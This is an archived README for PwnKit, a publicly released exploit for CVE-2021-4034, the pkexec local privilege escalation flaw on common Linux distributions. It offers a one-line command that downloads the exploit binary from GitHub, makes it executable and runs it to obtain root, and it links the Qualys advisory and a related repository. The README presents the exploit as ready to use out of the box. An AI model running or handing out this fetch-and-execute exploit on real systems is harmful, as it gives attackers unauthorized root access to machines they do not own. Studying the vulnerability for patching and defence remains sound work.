Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
PwnKit
Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
Usage
Should work out of the box on Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.
bashwget https://github.com/ly4k/PwnKit/raw/main/PwnKitchmod +x ./PwnKit./PwnKit
Example

Technical Details
- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
References
- https://github.com/arthepsy/CVE-2021-4034/
To restore the repository download the bundle
wget https://archive.org/download/github.com-ly4k-PwnKit_-_2022-01-26_14-27-26/ly4k-PwnKit_-_2022-01-26_14-27-26.bundle
and run:
git clone ly4k-PwnKit_-_2022-01-26_14-27-26.bundle
Source:
https://github.com/ly4k/PwnKitUploader:
ly4kUpload date: 2022-01-26